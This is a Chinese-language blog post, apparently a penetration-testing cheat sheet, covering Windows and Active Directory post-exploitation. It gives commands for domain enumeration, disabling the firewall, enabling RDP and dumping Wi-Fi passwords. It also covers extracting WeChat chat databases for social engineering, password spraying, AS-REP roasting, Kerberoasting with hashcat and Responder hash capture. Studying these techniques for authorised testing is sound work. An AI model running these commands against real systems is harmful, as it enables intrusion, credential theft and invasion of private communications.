内网之 Windows 信息收集

Windows cmd

本机信息

前置知识

获取一台主机的权限的后,有 whoami 三种情况

  • 这个表示是本地普通用户。win-2008 本机的普通用户
win-2008\user
  • 这个表示是本地管理员的用户
win7-x64-test\administrator
  • 这个表示域内用户 此域是 god.org
god\administrator

如果内网存在域。本地普通用户只能查询到本机相关信息,不能查到域内信息。而本地管理员和域内用户可以查询到域内信息。原理是:域内的所有查询都是通过 DC 实现的(基于 LDAP 协议)。这个查询需要经过权限认证。域用户进行查询命令时,会自动使用 Kerberos 协议认证,无需输入账号和密码。

其中 net time /domain 这个命令最有趣

  • 如果出现拒绝访问的回显,那么意味着当前存在域,但当前不是域用户
  • 如果命令直接执行成功了。那么表明当前用户是域用户
  • 如果出现找不到域 WORKGROUP 的域控制器。 这样的回显,那么表明当前不存在域

Basic Command

首先肯定离不开

whoami /all # 这个命令可以得到主机名和用户名,以及 SID
# 其中例如:
得到的结果是 S-1-5-21-2952760202-1353902439-2381784089-500 这是用户的 SID
而去掉末尾 S-1-5-21-2952760202-1353902439-2381784089 这是当前域的 SID
ipconfig /all
systeminfo
net config workstation

查询启动的所有服务

sc query state=all

查询进程列表

tasklist

也少不了

netstat -ano 

查询开机启动程序信息

wmic startup get command,caption

查看计划任务

schtasks /query /fo LIST /v

这里就不得不提到 schtasks 这个计划任务命令

image-20221229193415245

当然也绝对少不了

net user 查看本机用户列表

既然知道又哪些用户了,也知道自己是哪一个用户了,那肯定要判断自己是不是管理员,需不需要提权

net localgroup administrators

当我们建立了一些连接以后或者别的什么原因,我们当然希望看看本机跟其他的会话<需要本机管理员权限>

net session

要是存在域的话,肯定想看看共享目录吧

那么先查询本机共享列表(内网中很多机子的设置大多数都是相同的)

net share

查看一下别的机子的目录也只需要

dir \\ip\共享名(net share 中的)
例如:
dir \\ip\c$

既然都想要看看别的机子了,肯定得知道哪些机子存活啊

先不出流量的简简单单的看一下路由表

arp -a

那我要是管理员权限,为了避免一下流量接收不到,我们可以关闭一下防火墙

Windows Server 2003 之前的版本

netsh firewall set opmode disable

之后的版本

netsh advfirewall set allprofiles state off

查询远程连接端口

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber

image-20221229201556176

查询结果是 0xd3d 十六进制转换为 10 进制也就是 3389

开启 3389 端口。需要管理员权限

如果是 Windows Server 2003

wmic path win32_terminalservicesetting where (_CLASS != "") call setallowtsconnections 1

如果是 Windows Server 2008 和 Winodws Server 2012 开启 3389 端口

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

启用远程桌面服务 需要管理员权限

sc config TermService start=auto

内网信息

既然本机信息基本都已经收集完了,也判断存在域了。那么我们就肯定要看看域内其他主机情况,目标肯定是要打域控控制整个域嘛

当然啦 fscan.exe 非常好用

fscan.exe -h 192.168.52.1/24

一下子就把存活主机和端口都扫描出来了

但是有时候我们上传文件比较困难。这个时候就只能先用 ping 来判断主机存活情况了

for /L %I in (1,1,254) DO @ping -w 1 -n 1  192.168.0.%I | findstr "TTL"

虽然用 telnet ip port 命令确实可以判断端口是否开放,但是回显却不是很好看。

Basic Command

查询域:(查询这个内网有多少个域)

net view /domain

查询域内主机的主机名

net view /domain:HACKE (这里的 HACKE 是 net view /domain 得到的结果)

然后我们就可以用 nslookup (主机名(尾巴去掉 $ )+域名)查询对应 IP 了

查询域内所有用户

net user /domain

查询域内的用户组,需要是域用户

net group /domain

image-20221230134646473

然后就可以查询具体对应的用户了

比如下面的命令是查询域管名,也需要是域用户才能查询

net group "Domain Admins" /domain

查看域内密码规则 需要域用户

net accounts /domain

查询域信任信息 (虽然这个不常用) 不需要域用户

nltest /domain_trusts

定位域控

Basic Command

简单的收集了一下域内的一些信息后,终于来到我们期待的查找域控时间啦

查看域控机器名 需要域用户

nltest /DCLIST:域名

下面这个命令不太好用,虽然效果可能跟上面那个一样

nslookup -type=SRV _ldap._tcp

当然 net time /domain 也是可以获得域控主机名的

查看域控制器, 需要域用户

net group "Domain Controllers" /domain

定位域管

在一个域中,当计算机加入域后,会默认给域管理员组赋予本地系统管理员组。也就是说计算机加入域中且成为域的成员主机后,系统会自动将域管理员组添加到本地系统管理员组中。因此域管理员组的成员均可访问本地计算机,且具备完全控制。

定位域内管理员的常规渠道是日志会话。日志指本地机器的管理员日志。会话指每台机器的登录会话。(可以匿名查询,不需要权限)

如果我们能够定位域管登录了哪些机器,那么我们就可以去对应的机器抓取密码

额 PsLoggedon.exe 这个工感觉不行啊,会有弹窗,还要点击一下 agree

PowerView 可以但是会被杀软查杀 https://github.com/PowerShellEmpire/PowerTools/archive/refs/tags/2.0.zip

powershell.exe -exec bypass -Command "& {Import-Module .\PowerView.ps1; Invoke-UserHunter}"  

完整使用参数

Get-NetDomain               #查看域名称
Get-NetDomainController     #获取域控的信息
Get-NetForest               #查看域内详细的信息
Get-Netuser                 #获取域内所有用户的详细信息
Get-NetUser | select name   #获得域内所有用户名
Get-NetGroup        #获取域内所有组信息
Get-NetGroup | select name  #获取域内所有的组名
Get-NetGroup *admin* | select name   #获得域内组中带有admin的
Get-NetGroup "Domain Admins"         #查看组"Domain Admins"组的信息
Get-NetGroup -UserName test   #获得域内组中用户test的信息

Get-UserEvent        #获取指定用户日志信息
Get-NetComputer             #获取域内所有机器的详细信息
Get-NetComputer | select name   #获得域内主机的名字
Get-Netshare                #获取本机的网络共享
Get-NetProcess              #获取本机进程的详细信息
Get-NetOU                #获取域内OU信息
Get-NetFileServer      #根据SPN获取当前域使用的文件服务器
Get-NetSession         #获取在指定服务器存在的Session信息
Get-NetRDPSESSION           #获取本机的RDP连接session信息
Get-NetGPO           #获取域内所有组策略对象
Get-ADOBJECT                #获取活动目录的信息
Get-DomainPolicy       #获取域默认策略

Invoke-UserHunter           #查询指定用户登录过的机器
Invoke-EnumerateLocalAdmin  #枚举出本地的管理员信息
Invoke-ProcessHunter        #判断当前机器哪些进程有管理员权限
Invoke-UserEventHunter    #根据用户日志获取某域用户登陆过哪些域机器

其他信息

查找文件

可以使用 for 循环,例如查找 C 盘后缀名为 txt 的文件。

for /r c:\ %i in (*.txt) do @echo %i

更推荐使用 dir

cmd /c "dir c:\*.js /s /b"

查找 d 盘下包含 “abc” 字符串的文件

findstr /s /n "abc" d:\*

日志

日志目录:

C:\Windows\System32\winevt\Logs

SPN

SPN(Service Principal Name,SPN,服务主体名称)

Kerberos 身份验证服务使用 SPN 与服务登录账号联系起来,如果域中的计算机安装了多个服务实例,那么每个实例都应该有自己的 SPN 。

SPN 是怎么用的?当用户需要访问某个服务的时候,系统会以当前用户身份向域控查询 SPN 为该服务的记录,如果找到的话,那么用户就会向 KDC 通信,进行 Kerberos 认证的第二个阶段,将 TGT 发送给 KDC

SPN 的格式如下:

serviceclass/hostname[:port][/servicename]
  • serviceclass: 服务组件名称
  • hostname,计算机的 FQDN (全限定域名,同时带有计算机名和域名)
  • port 端口号
  • servicename: 一个字符串,可以是服务专有名(DN),objectGuid,Internet 主机名或全限定域名

查询域内存在的所有 SPN

setspn -T 域名 -q */*

我们可以利用此命令查找 Exchange 服务器

setspn -Q IMAP/*

微信信息

有时候导出微信的联系人和聊天记录会有意外收获。可以社工等等。微信的信息默认在 C:\WeChat Files\WeChat Files 文件夹下。我们在这里可以C:\WeChat Files\WeChat Files\wxid_nmp3dxxxx\Msg 找到相关的数据库信息

我们可以在 Msg 目录下找到这三个文件包含了联系人列表信息

  • MicroMsg.db
  • MicroMsg.db-shm
  • MicroMsg.db-wal

C:\WeChat Files\wxid_nmp3dxxxx\Msg\Multi 目录下可以找到类似:

  • MSG0.db
  • MSG0.db-shm
  • MSG0.db-wal
  • MSG1.db
  • MSG1.db-shm

等文件。里面包含了聊天记录的信息。下载下来。

在 https://www.iculture.cc/knowledge/pig=22381 这里找到工具并下载

在目标机器上面执行 wx-dump-key-v0.1.1.exe zmkm 可以获取正在运行的微信数据库密钥以及相关信息

cmd_j4EOmMqO0H

把密钥记住(接下来的操作可以在本地),然后将聊天记录及其联系人信息的数据库文件放在 wx-decrypter-v0.1.1\input 文件夹中。再执行 wx-decrypter-v0.1.1.exe 密钥 即可在wx-decrypter-v0.1.1\output 文件夹下获得 csv 或 db 文件,通过 https://sqlmanager.freebusinessapps.net/manager 即可打开 SQLite 数据库。导入 MicroMsg.db_dec.db 执行一下

select UserName,Alias,Remark,NickName from Contact

即可获得联系人的微信号,备注,微信名的信息。当然我们也可以考虑使用 https://github.com/SpenserCai/GoWxDump 的工具

浏览器信息

HackBrowserData 是个非常好的项目,可以导出收藏的网址、密码、Cookie 等信息

wifi 密码

用下面这条命令可以获得机器上连接 wifi 的密码

for /f  "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles')  do @echo %j | findstr -i -v echo |  netsh wlan show profiles %j  key=clear

除了类似于 Linux 机器的渗透思路,windows 的机器还可以从以下内容进行着手

杀软信息

这个项目 https://github.com/r00tSe7en/get_AV 可以通过从 tasklist /SVC 的信息判断目标环境存在的杀软。

Kerberos

Kerberos 是一种身份验证协议,而不是授权协议。

kerbrute

仓库链接 https://github.com/ropnop/kerbrute/

A tool to quickly bruteforce and enumerate valid Active Directory accounts through Kerberos Pre-Authentication

我们可以使用它来爆破用户名和密码,枚举用户名,以及密码喷洒

Usage:
kerbrute [command]

Available Commands:
bruteforce Bruteforce username:password combos, from a file or stdin
bruteuser Bruteforce a single user’s password from a wordlist
help Help about any command
passwordspray Test a single password against a list of users
userenum Enumerate valid domain usernames via Kerberos
version Display version info and quit

比如枚举用户:

./kerbrute_linux_amd64 userenum --dc 10.10.207.246 -d spookysec.local userlist.txt

具有枚举速度快,不留下日志的优点

适用场景:从域外对域用户进行用户枚举和口令暴力破解

由于没有域用户的口令,所以无法通过 LDAP 协议枚举出所有域用户,而且使用 LDAP 协议进行暴力破解时会产生日志(4625 – An account failed to log on)

使用 kerbrute 有如下优点:

  • 使用 Kerberos pre-auth bruteforcing 的速度更快

  • 不会产生日志(4625 – An account failed to log on)

impacket-GetNPUsers

The ASREPRoast attack looks for users without Kerberos pre-authentication required attribute

That means that anyone can send an AS_REQ request to the DC on behalf of any of those users, and receive an AS_REP message. This last kind of message contains a chunk of data encrypted with the original user key, derived from its password. Then, by using this message, the user password could be cracked offline.

Furthermore, no domain account is needed to perform this attack, only connection to the DC. However, with a domain account, a LDAP query can be used to retrieve users without Kerberos pre-authentication in the domain. Otherwise usernames have to be guessed.

https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/asreproast

针对 kerberos 协议攻击的工具。当用户开启了 “不使用Kerberos预认证”,那么就可以获取到 Kerberos AS-REP 也就是 NetNtml Hash。当我们获得了域控用户名字典时,即可以尝试进行枚举测试是否存在这样的用户。

使用方法:

impacket-GetNPUsers domain/ -usersfile userlist.txt -format hashcat -outputfile hashes.asreproast

然后用 hashcat 尝试破解

hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt 

impacket-GetUserSPNs

Impacket’s GetUserSPNs.py will attempt to fetch Service Principal Names that are associated with normal user accounts. What is returned is a ticket that is encrypted with the user account’s password, which can then be bruteforced offline.

原理大概就是请求 TGS 获取 ST,而 ST 是用 Server 的 NTLM-Hash 进行加密,可以参考 https://sec.1i6w31fen9.top/2023/02/28/%e5%86%85%e7%bd%91%e5%88%9d%e6%8e%a2-kerberos%e8%ae%a4%e8%af%81/

常见使用方法

impacket-GetUserSPNs 'domain/username:password' -request -outputfile hashes.kerberoast

离线破解

hashcat -m 13100 --force hashes.kerberoast /usr/share/wordlists/rockyou.txt

SMB

SMBMap

使用 smbmap 可以简单探测是否允许 guest 等匿名用户免密登录,还可以收集一下共享目录的文件信息,包括读写权限

eg.

smbmap -u guest -p '' -H manager.htb -r

crackmapexec

如果你发现了一个能够访问共享目录的凭证,那么也可以借助这个工具爆破用户名。当然这个工具支持的协议不仅仅是 smb。

crackmapexec smb manager.htb -u guset -p '' --rid-brute

enum4linux

enum4linux 是用于枚举 windows 和 Linux 系统上的 SMB 服务的工具。其封装了 nmblookup、net、rpcclient 和 smbclient 等工具。能够尝试使用空凭证或凭证枚举用户列表、共享目录、密码政策、用户组等信息

简单用法:

enum4linux ip

ldap

当我们拥有一个域用户凭证或者 ldap 未授权可以访问时,可以考虑枚举域控的 ldap 服务,获取 domain_users、domain_groups、domain_trusts、domain_computers、domain_computers_by_os、domain_policy 敏感信息

ldapdomaindump

ldapdomaindump 是一个非常好用的枚举工具,可以选择生成 json、html、grep 格式的枚举信息文件。

常见使用方法,生成 html 结果:

ldapdomaindump -r ip_or_domain -u 'domain\username' -p 'password' --no-json --no-grep

impacket-GetADUsers

该工具通过 ldap 的方式获取目标机器上面的用户名

常见使用方法

impacket-GetADUsers 'domain/username:password!' -dc-ip ip_addr -all

Password spray

crackmapexec

这个工具支持 ssh、ftp、winrm、rdp、mssql、ldap、smb 协议的密码喷洒。

eg.

crackmapexec smb manager.htb -u users.txt -p 'password' --continue-on-success

网络请求

Windows 在DNS 查找失败时会使用链路本地组播名称解析 (LLMNR) 和 NetBIOS 名称服务(NBT-NS)进行本地主机解析,这些协议是默认启用的。而 Apple Bonjour 和 Linux 零配置实现使用多播DNS(mDNS)来发现网络中的系统。

当使用了 LLMNR 和 NetBIOS 协议,客户端会将未经身份验证的 UDP 广播消息进行传播,而攻击者可以利用它们引导到恶意服务,比如申请获得登录凭证。早期是在网络上传播明文口令,后来退出了 NTLMv1,但安全性依旧不够,可以直接还原出 NTLM-HASH 进行 PTH,再后来就推出了 NetNTLMv2。如果获取了 NetNTLMv2 需要进行爆破才能够利用。

几乎在涉及到网络请求的地方都可以考虑,比如 php 代码中的 include、file_get_contents 等;共享目录下的 desktop.ini; scf 文件

responder

我们可以使用这个工具进行监听利用。

将获取到的 hash 可以用 hashcat 进行爆破

hashcat -a 0 -m 5600 NetNtlm.txt /usr/share/wordlists/rockyou.txt -o cracked.txt -O
版权声明:除特殊说明,博客文章均为 Shule 原创,依据 CC BY-SA 4.0 许可证进行授权,转载请附上出处链接及本声明。
暂无评论

发送评论 编辑评论


|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇